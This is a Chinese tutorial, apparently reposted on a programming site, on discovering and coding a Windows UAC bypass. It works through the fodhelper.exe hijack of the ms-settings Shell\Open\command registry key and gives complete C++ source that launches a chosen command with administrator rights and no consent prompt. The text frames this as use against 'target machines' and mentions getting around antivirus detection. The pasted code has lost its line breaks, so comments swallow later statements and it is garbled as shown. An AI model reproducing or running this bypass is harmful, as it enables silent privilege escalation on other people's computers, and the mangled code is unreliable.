BypassUAC漏洞挖掘和代码集成

什么是UAC

UAC是UserAccountControl的缩写,即用户帐户控制。是Windows操作系统中的一种安全特性,旨在保护计算机不被未经授权的应用程序和操作所破坏。UAC通过提示用户是否允许某个应用程序或操作修改计算机的设置或访问敏感数据,来帮助用户避免恶意软件或病毒对系统的破坏。当用户运行需要以管理员权限运行的程序时,UAC会提示用户是否授予该程序管理员权限,以保护计算机的安全。UAC是WindowsVista及以上版本中的一项默认特性,用户可以根据需要对其进行配置和管理

如何在电脑上开启UAC

图片

图片

图片

图片

图片

默认系统是开启的,如果不想开启只需要拉到最下面设置从不通知即可。

验证UAC效果

图片

图片

弹出用户账户控制的窗口就说明UAC开启成功了。

让自己的程序为UAC权限

图片

编译测试自身程序是否双击为UAC打开。

图片

此时可以看到编译的Demo程序的图标有个管理员权限的小图标。运行后提示账户控制窗口就说明了当前程序被附加了UAC权限。也可以使用sigcheck64工具来验证。

图片

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

如何绕过UAC权限启动程序

正常情况下我们运行UAC程序,或者普通程序管理员启动都会弹出账户控制的窗口来让用户手动确定是否启动,这时候如果我们在目标机器上触发则导致我们的目标失联。想要绕过UAC的触发窗口,我们就需要去找到哪些不受UAC约束的程序让我们利用。

1.必要条件

1.程序必须具有自动提权的属性,也就是true

2.运行程序不能弹出账户控制窗口

3.需要调用 Shell\Open\command 注册表值 

2.查找带有autoElevate属性的程序

这里我们尽可能查找系统自带的程序,方便我们在目标机器中使用。查询方式使用sigcheck64工具来查找。

命令为sigcheck64 -m 进程名 | findstr "auto"这里最好能写一个脚本让他自动化查找方便

图片

3.校验用户控制面板

执行我们通过sigcheck64找到带有autoElevate的程序运行看看是否会弹出庄户控制窗口,如果不弹出我们就可以进行第三个步骤了。

图片

4.查询调用键值

使用ProcessMonitor工具来抓取是否有Shell\Open\command的值。

图片

这里我们对fodhelper进程进行拦截,不然我们获取的数据太多不利于我们查询。下面我们搜索 “Shell\Open\command”。

图片

5.分析调用规则

这里是我们要查询的关键,我们去看看注册表HKCU\Software\Classes\ms-settings\Shell\Open\command 存放的是什么。发现我们只能找到HKCU\Software\Classes 却找不到ms-settings\Shell\Open\command,这里我们给他手动创建一个看看他是什么表现。

图片

先清理下数据,我们重新执行fodhelper.exe。

图片

这里和上面的图对比发现我们HKCU\Software\Classes\ms-settings\Shell\Open\新项 #1\DelegateExecute可能需要在下面创建一个DelegateExecute的值。根据这个名字猜测是执行一个程序,我们把这个值的内容改为cmd.exe,看看是否可以执行起来cmd程序。

图片

图片

这里可以发现我们已管理员权限启动了cmd窗口,并且没有弹出账户控制窗口。

代码实现步骤

根据上面的步骤我们大致需要几个步骤如下:

  1. 在启动程序之前先创建HKCU\Software\Classes\ms-settings\Shell\Open\command的项。

  2. 在值里面写入要启动的程序进程。

  3. 创建DelegateExecute的值。

  4. 启动fodhelper.exe进程。

  5. 删除HKCU\Software\Classes\ms-settings注册表树。

#include <iostream>
#include <Windows.h>
#pragma comment(lib,"AdvApi32.lib")
#pragma comment(lib,"Shell32.lib")int main(int argc, char* argv[]) {LPWSTR pCMDpath;size_t sSize;if (argc != 2) {printf("[!] Error, you must supply a command\n");return EXIT_FAILURE;}
#ifdef _WIN64 // x64 ONLY!pCMDpath = new TCHAR[MAX_PATH + 1];mbstowcs_s(&sSize, pCMDpath, MAX_PATH, argv[1], MAX_PATH);LRESULT lResult;BOOL bResult;HKEY hKey = NULL;WCHAR szTempBuffer[MAX_PATH + 1];DWORD dwData;SIZE_T cmdLen;SHELLEXECUTEINFO shinfo;lResult = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\shell\\open\\command", 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);if (lResult != ERROR_SUCCESS)return -1;szTempBuffer[0] = 0;dwData = 0;lResult = RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)szTempBuffer, dwData);if (lResult != ERROR_SUCCESS)return -1;cmdLen = lstrlen(pCMDpath);dwData = (DWORD)((1 + cmdLen) * sizeof(WCHAR));lResult = RegSetValueEx(hKey, TEXT(""), 0, REG_SZ, (BYTE*)pCMDpath, dwData);if (lResult == ERROR_SUCCESS) {// can pick either fodhelper.exe or computerdefaults.exe hereRtlSecureZeroMemory(&shinfo, sizeof(shinfo));shinfo.cbSize = sizeof(shinfo);shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;shinfo.lpFile = L"C:\\Windows\\System32\\fodhelper.exe";shinfo.lpParameters = L""; // parametersshinfo.lpDirectory = NULL;shinfo.nShow = SW_SHOW;shinfo.lpVerb = NULL;bResult = ShellExecuteEx(&shinfo);if (bResult) {WaitForSingleObject(shinfo.hProcess, 0x8000);CloseHandle(shinfo.hProcess);printf("[+] Success\n");}}if (RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\shell\\open\\command")) {return -1;}if (hKey != NULL)RegCloseKey(hKey);
#endifreturn EXIT_SUCCESS;
}

总结

在抓取UAC漏洞的时候步骤还是相对比较简单的,可以使用代码写一套自动化的流程。这里需要注意的是目前很多杀毒软件在我们的程序写注册表值到HKCU\Software\Classes\ms-settings\Shell\Open\command会报毒,解决办法网上也有很多种,可自行测试。

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/623290.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【算法一则】编辑距离 【动态规划】

题目 给你两个单词 word1 和 word2&#xff0c; 请返回将 word1 转换成 word2 所使用的最少操作数 。 你可以对一个单词进行如下三种操作&#xff1a; 插入一个字符 删除一个字符 替换一个字符 示例 1&#xff1a;输入&#xff1a;word1 "horse", word2 "…

MySQL学习笔记4——时间函数

MySQL时间函数 一、日期时间类型1、获取日期时间数据中部分信息的函数2、计算日期时间的函数3、其他日期时间函数 一、日期时间类型 时间函数就是用来处理时间的函数。时间&#xff0c;几乎可以说是各类项目中都会存在的数据&#xff0c;项目需求不同&#xff0c;我们需要的时…

CSS导读 (复合选择器 上)

&#xff08;大家好&#xff0c;今天我们将继续来学习CSS的相关知识&#xff0c;大家可以在评论区进行互动答疑哦~加油&#xff01;&#x1f495;&#xff09; 目录 二、CSS的复合选择器 2.1 什么是复合选择器 2.2 后代选择器(重要) 2.3 子选择器(重要) Questions 小提…

【数据可视化包Matplotlib】Matplotlib基本绘图方法

目录 一、Matplotlib绘图的基本流程&#xff08;一&#xff09;最简单的绘图&#xff08;仅指定y的值&#xff09;&#xff08;二&#xff09;更一般的绘图&#xff08;同时指定x和y的值&#xff09;&#xff08;三&#xff09;增加更多的绘图元素 二、布局相关的对象——Figur…

【XR806开发板试用】XR806在U8G2上增加MQTT+JSON控制

一、前言 U8G2移植参见之前写的文章 https://aijishu.com/a/1060000000292472本次增加MQTTJSON是站在大佬的肩膀上&#xff0c;参见 https://aijishu.com/a/1060000000284320CJSON的使用&#xff0c;参见 https://blog.csdn.net/fengxinlinux/article/details/53121287 二、成…

【C++类和对象】类和对象的引入

&#x1f49e;&#x1f49e; 前言 hello hello~ &#xff0c;这里是大耳朵土土垚~&#x1f496;&#x1f496; &#xff0c;欢迎大家点赞&#x1f973;&#x1f973;关注&#x1f4a5;&#x1f4a5;收藏&#x1f339;&#x1f339;&#x1f339; &#x1f4a5;个人主页&#x…

《二》Qt Creator工具介绍与使用

一、关于界面 点击文件--->新建文件或项目会出现如下图&#xff1a; 我们选择第一个 点击下一步下一步&#xff1a; 继续下一步直到结束&#xff1a; 二&#xff0c;具体文件介绍 我们点击pro查看以下 QT core gui第1行 表示使用qt的core和gui库&#xff0c;如果以后…

VScode配置C++环境进行运行和调试

文章目录 1、配置开发环境&#xff1a;即可以安装MinGW-w64&#xff08;Windows平台的一个gcc/g编译器&#xff09;2、在VScode中安装C/C插件3、VScode的编译和运行的配置4、VScode的调试的配置 1、配置开发环境&#xff1a;即可以安装MinGW-w64&#xff08;Windows平台的一个g…

计算机网络—TCP协议详解:协议构成、深度解析(1)

&#x1f3ac;慕斯主页&#xff1a;修仙—别有洞天 ♈️今日夜电波&#xff1a;マリンブルーの庭園—ずっと真夜中でいいのに。 0:34━━━━━━️&#x1f49f;──────── 3:34 &#x1f504; ◀️…

r3live 使用前提 雷达-相机外参标定 livox_camera_lidar_calibration

标定的是相机到雷达的,R3live下面配置的雷达到相机的,所以要把得到外参旋转矩阵求逆,再填入,平移矩阵则取负 港科大livox_camera_calib虽然操作方便&#xff0c;但是使用mid360雷达会有视角问题&#xff08;投影三维点到相机&#xff09;&#xff0c;尝试了很多场景&#xff0c…

群晖NAS安装Synology Office与Drive结合内网穿透实现本地文件公网分享与远程协作

文章目录 本教程解决的问题是&#xff1a;1. 本地环境配置2. 制作本地分享链接3. 制作公网访问链接4. 公网ip地址访问您的分享相册5. 制作固定公网访问链接 本教程解决的问题是&#xff1a; 1.Word&#xff0c;PPT&#xff0c;Excel等重要文件存在本地环境&#xff0c;如何在编…

如何用JAVA如何实现Word、Excel、PPT在线前端预览编辑的功能?

背景 随着信息化的发展&#xff0c;在线办公也日益成为了企业办公和个人学习不可或缺的一部分&#xff0c;作为微软Office的三大组成部分&#xff1a;Word、Excel和PPT也广泛应用于各种在线办公场景&#xff0c;但是由于浏览器限制及微软Office的不开源等特性&#xff0c;导致…